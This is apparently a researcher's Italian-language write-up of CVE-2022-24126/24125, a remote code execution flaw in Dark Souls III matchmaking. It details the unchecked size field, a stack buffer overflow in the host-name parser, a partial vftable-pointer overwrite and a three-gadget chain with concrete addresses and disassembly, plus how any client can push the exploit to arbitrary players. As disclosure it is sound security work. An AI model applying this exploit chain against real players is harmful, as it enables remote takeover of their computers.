Riepilogo dell'Exploit (CVE-2022-24126)

Un controllo errato dei limiti su un buffer dello stack e sul campo della dimensione dei dati durante l'analisi dei dati di matchmaking NRSessionSearchResult permette a un attaccante di eseguire codice arbitrario. L'overflow dello stack consente di sovrascrivere i due byte inferiori di vftable_ptr dell'oggetto DLMemoryInputStream utilizzato internamente dal lettore di flusso, reindirizzando l'esecuzione a codice vicino accuratamente scelto. Lo sfruttamento intelligente della struttura dell'oggetto DLMemoryInputStream e del campo della dimensione dei dati permette quindi di ottenere un reindirizzamento arbitrario del codice, con RCX che punta all'indirizzo del nostro pacchetto. Da lì, una serie di reindirizzamenti di codice tramite chiamate virtuali con offset diversi (che ora salteranno agli indirizzi che abbiamo scritto nel buffer del pacchetto) può essere utilizzata per ottenere l'esecuzione di codice arbitrario.

Vettori di Distribuzione (CVE-2022-24125)

I vettori di distribuzione sono ciò che rende questo particolare RCE particolarmente grave (al di là del fatto che è già un RCE). L'exploit viene trasmesso attraverso richieste push di matchmaking contenenti informazioni NRSessionSearchResult. Ciò significa che l'attaccante può prendere di mira chiunque si unisca alla sua sessione online. In particolare, per DS3:

• evocazioni (PushRequestSummonSign)
• invasori spiriti oscuri (PushRequestAllowBreakInTarget)
• giocatori che si uniscono tramite covenant (PushRequestVisit)
• combattenti dell'arena (PushRequestAcceptQuickMatch)

Questo è già piuttosto grave, ma il vero potenziale è sbloccato dalla richiesta RequestSendMessageToPlayers:

message RequestSendMessageToPlayers { 
    repeated uint32 player_ids = 1; 
    required bytes push_message = 2;
}

L'host usa questa richiesta per inviare direttamente il push message PushRequestAllowBreakInTarget agli invasori in modo che possano ottenere le coordinate di spawn e unirsi alla sessione P2P. Tutto qui. È l'unico modo in cui questa richiesta viene utilizzata dal gioco.

Eppure permette a qualsiasi client di inviare messaggi push arbitrari a centinaia di migliaia di giocatori specifici.

Non posso sottolineare abbastanza quanto sia terribilmente insicuro. Qualsiasi giocatore può praticamente impersonare il server di matchmaking. Usando questa richiesta per inviare l'exploit tramite un PushRequestVisit, qualsiasi giocatore online può essere preso di mira a distanza dall'attaccante purché il suo ID giocatore sia noto. L'attaccante può anche inviare l'exploit all'intera base di giocatori online molto rapidamente inviando più richieste, ciascuna contenente un grande intervallo di possibili ID giocatore.

La Tattica Generale di Sfruttamento per Tutti i Giochi

Sebbene l'RCE non sia esattamente portabile a ogni gioco, l'idea centrale dell'exploit che fornisce all'attaccante il reindirizzamento arbitrario del codice è la stessa. Se questo può essere ottenuto, è molto probabile che si possa poi trovare una catena di chiamate virtuali o una catena ROP specifica per il gioco. Questo "primo passo" sfrutta le seguenti vulnerabilità:

Bug #1: Nessun Controllo dei Limiti nel Parser dell'Elenco delle Voci

Le richieste push di matchmaking contenenti informazioni di sessione memorizzano tali informazioni in un formato binario personalizzato che consiste in una catena di voci di dati delimitate dalla lunghezza. Ogni voce ha il seguente formato:

struct Entry
{
    uint32_t type_or_id; // non sicuro, ma probabilmente un tipo (lunghezza fissa = 2, lunghezza variabile = 1 ?)
    uint32_t size;
    uint8_t data[size];
}

La funzione di gioco responsabile della copia dei dati di queste voci si fida ciecamente del campo size, creando una lettura fuori dai limiti. Questo può essere abusato da un client malintenzionato impostando il campo size su valori come 0x7FFFFFFF, causando il fallimento dell'allocazione di memoria e il crash del gioco della vittima. Successivamente, questa dimensione viene anche passata al costruttore di un DLMemoryInputSteam, che è una parte fondamentale dell'exploit.

Bug #2: Superamento del Buffer nel Parser NRSessionSearchResult

Una delle voci nella struttura dati descritta sopra è un oggetto NRSessionSearchResult serializzato. Il parser per questi dati analizza prima un elenco di proprietà. Queste proprietà possono essere interi a 4 byte, interi a 8 byte o stringhe wide con terminazione null. A questo elenco di proprietà segue il nome Steam dell'host come stringa wide con terminazione null e alcuni dati aggiuntivi non importanti per l'exploit. Sia questa funzione che il parser dell'elenco delle proprietà utilizzano un buffer dello stack di dimensione fissa per leggere le stringhe, e in entrambi i casi non viene eseguito alcun controllo dei limiti sul buffer. Ecco il codice di gioco responsabile della copia del nome dell'host (prodotto utilizzando il decompilatore di Ghidra e poi ripulito):

size_t idx = 0;
wchar_t wchr = 0;
do {
  // funzione read_wchar() all'indice 17 della vftable di DLEndianStreamReader
  wchr = stream_reader->read_wchar();
  player_name_buff[idx] = wchr;
  idx++;
} while (wchr != 0);

Ciò porta a un exploit di superamento del buffer, permettendo all'attaccante di corrompere lo stack.

Preparare il Terreno per la Catena di Chiamate Virtuali / ROP

Per ottenere un reindirizzamento arbitrario del codice, utilizziamo questo e il layout di memoria di un oggetto DLMemoryInputStream istanziato sullo stack dalla funzione che chiama il parser, che viene utilizzato internamente dal lettore di flusso:

struct DLMemoryInputStream {
    uintptr_t* vftable_ptr; // Offset 0
    size_t data_size;       // Offset 4 (32bit) / 8 (64bit)
    uint8_t* data_buffer;   // Offset 8 (32bit) / 16 (64bit)
    // Le voci dopo il buffer non sono importanti per l'exploit
}

Poiché controlliamo il campo data_size (Bug #1), può essere impostato sull'indirizzo di memoria dello stack del campo data_buffer. Ciò riuscirà a condizione che l'indirizzo sia costante e non troppo grande (DS3 soddisfa questi requisiti). Poiché il compilatore posiziona il buffer dello stack all'inizio del frame, l'attaccante può quindi utilizzare il Bug #2 per sovrascrivere i due byte inferiori di vftable_ptr del DLMemoryInputStream. Quindi, quando il carattere successivo viene letto da DLEndianStreamReader, chiamerà internamente il DLMemoryInputStream e il codice verrà reindirizzato. I 2 byte danno abbastanza margine per saltare alla 22ª funzione nella vftable di DLEndianStreamReader, che chiama il 6° metodo virtuale dell'oggetto puntato dal suo primo campo. In un processo a 64 bit (cioè Dark Souls III), verrebbero eseguite le seguenti istruzioni:

MOV       RCX,qword ptr [RCX + 0x8]
MOV       RAX,qword ptr [RCX]
JMP       qword ptr [RAX + 0x40]

Poiché RCX è un puntatore all'oggetto DLMemoryInputStream, la prima istruzione scrive il campo data_size, che è stato impostato su un indirizzo dello stack che punta al campo data_buffer dall'attaccante utilizzando il Bug #1, in RCX. Le due istruzioni successive reindirizzeranno quindi l'esecuzione all'indirizzo di memoria che l'attaccante ha scritto all'offset 0x40 nel buffer dati. Il reindirizzamento arbitrario del codice è stato ora ottenuto! Da lì, l'attaccante può impostare una catena di reindirizzamento del codice che copia il proprio payload in una regione di memoria adatta e lo esegue scegliendo codice vicino a chiamate virtuali con offset diversi, poiché il buffer ora funge da tabella dei metodi virtuali. Per il proof of concept di Dark Souls III ho trovato una configurazione che richiede solo 3 gadget per ottenere l'RCE:

• 0x18: 140e97700
• 0x40: 1422be020
• 0x68: 140e40f15

Codice Proof of Concept per Dark Souls III

Esecuzione del codice PoC

Vettore d'Attacco

Per il proof of concept ho deciso di utilizzare un messaggio PushRequestVisit inviato tramite RequestSendMessageToPlayers. Questa è la versione più potente dell'exploit nel senso che il gioco del bersaglio analizzerà immediatamente i dati vulnerabili dopo averli ricevuti in tutte le situazioni (anche nel menu principale).

Catena di Reindirizzamento delle Chiamate Virtuali

Offset 0x18: 140e97700

LEA       RAX,[DAT_144786150]
RET

Questo gadget viene utilizzato in quello all'offset 0x68. Dobbiamo mettere un indirizzo inferiore ma abbastanza vicino a 144786998 in RAX; questo è il più vicino.

Offset 0x40: 1422be020

MOV       RDX,RAX
MOV       R8,qword ptr [RCX]
CALL      qword ptr [R8 + 0x68]

Per poter utilizzare il gadget all'offset 0x68 abbiamo bisogno che l'indirizzo del buffer dati sia memorizzato in RDX e che RCX rimanga lo stesso. Questo realizza esattamente ciò.

Offset 0x68: 140e40f15

; Salta qui dal gadget all'offset 0x40
MOV       RBX,RDX
CMP       R9,R8

 ; Non salta mai, R9 != R8
JZ        LAB_140e40f7a
MOV       RAX,qword ptr [RCX]
MOV       R8,qword ptr [RSP + 0x50]
MOV       RDX,R9
MOV       qword ptr [RSP + 0x30],RSI

; Chiama gadget all'offset 18 (140e97700). Carica 144786150 in RAX
CALL      qword ptr [RAX + 0x18]
MOV       RSI,RAX
TEST      RAX,RAX

; Non salta mai, RAX è l'indirizzo del buffer dati.
JZ        LAB_140e40f4d 
CMP       RBP,RDI
MOV       RDX,RBX
MOV       RCX,RAX
CMOVC     RDI,RBP
MOV       R8,RDI ; RDI è un indirizzo dello stack vicino a 14F3B0, quindi la memcpy riesce
CALL      memcpy

LAB_140e40f4d:
TEST      RBX,RBX
; Non salta mai poiché RBX == RDX == indirizzo del buffer dati, diverso da zero. 
JZ        LAB_140e40f62 

; Ora abbiamo il pieno controllo di questa regione di memoria RWE grazie alla memcpy a 144786150. L'RCE è stato raggiunto!
MOV       RCX,qword ptr [DAT_144786998]
MOV       RDX,RBX
MOV       RAX,qword ptr [RCX]
CALL      qword ptr [RAX + 0x68]

Questo gadget fa quasi tutto per noi. Chiama l'offset 0x18 per ottenere un puntatore di destinazione per memcpy, copia lì il nostro pacchetto e poi chiama la funzione virtuale all'offset 0x68 sull'oggetto statico a 144786998, che ora controlliamo completamente a causa della chiamata memcpy. Poiché la quantità di memoria corrotta da memcpy è ampia e alcune regioni vengono costantemente scritte da altri thread di gioco, l'exploit carica prima un payload "di setup" che viene copiato in una posizione sicura, sospende tutti gli altri thread e ricopia il nostro payload effettivo prima di saltarci. Vedi rce.h per maggiori informazioni.

Informazioni Extra

Raccomando di controllare il codice sorgente del proof of concept poiché ha molti commenti che dettagliano la struttura del pacchetto. Se vuoi vedere cosa succede ad ogni passo in tempo reale (dovresti, è piuttosto interessante!), puoi iniettare la DLL del proof of concept mentre esegui il gioco sotto un debugger con punti di interruzione ai seguenti indirizzi di interesse:

140ca5960

Essenzialmente dove inizia l'exploit. Questa funzione è responsabile dell'analisi dei dati dell'elenco di voci delimitate dalla dimensione del messaggio PushRequestVisit. Estrae prima ogni voce dell'elenco in diversi vettori:

0x140ca59f8:
    player_data_cpy_ptr = (std_vector *)VectorCopy2_140ca4ef0(&player_data_cpy,player_data);
    FUN_140ca5010(player_data_cpy_ptr,&spawn_data,0x1c);
    FUN_140ca5010(player_data_cpy_ptr,&unk,4);
    FUN_140ca4fa0(player_data_cpy_ptr,&nrssr_data);